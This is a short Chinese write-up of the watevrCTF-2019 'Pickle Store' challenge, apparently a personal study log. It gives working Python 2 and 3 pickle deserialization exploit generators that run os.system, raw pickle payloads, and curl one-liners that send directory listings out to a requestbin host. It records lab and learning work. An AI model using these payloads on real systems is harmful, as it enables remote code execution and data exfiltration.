刷题记录:[watevrCTF-2019]Pickle Store
题目复现链接:https://buuoj.cn/challenges
参考链接:watevrCTF 2019 - Write-ups
python反序列化
Python pickle 反序列化实例分析
这篇文章讲的很全了
基本上这样的exp就可以了,这是python2的
import cPickle
import sys
import base64
COMMAND = sys.argv[1]
class PickleRce(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))
print base64.b64encode(cPickle.dumps(PickleRce()))
python3的也差不多
import pickle
import base64
class PickleRce(object):
def __reduce__(self):
import os
return (os.system, ('curl http://http.requestbin.buuoj.cn/17ozn5q1',))
print(base64.b64encode(pickle.dumps(PickleRce(), protocol=0)))
这里我主要要说的是我做这道题的时候payload是在windows上用pycharm生成的,但是一直不成功,而在unix上就可以,而且两个平台上出来的payload是不一样的,在unix上是这样的
cposix
system
p1
(S'sleep 5'
p2
tRp3
.
在windows上是这样的
cnt
system
p0
(Vsleep 5
p1
tp2
Rp3
.
最主要的原因就是第一行引入的模块,nt是windows平台下的一个python包,用来和windows系统交互,posix则是unix对应的包,题目靶机是unix的,用windows的payload自然失败。
OOB
另外扫目录的时候有个问题,ls
返回的数据没法直接curl,只会返回第一行,我用了两种比较蠢的方法,第一种是
curl http://http.requestbin.buuoj.cn/17ozn5q1/\?a=`ls / | base64 | sed -n "1p"`
curl http://http.requestbin.buuoj.cn/17ozn5q1/\?a=`ls / | base64 | sed -n "2p"`
不知道为什么base64之后还是两行,只能分两行读,第二种是
curl http://http.requestbin.buuoj.cn/17ozn5q1/\?a=`printf %s \`ls /\``
对不起,我是傻逼
curl http://http.requestbin.buuoj.cn/17ozn5q1 -d "`ls`"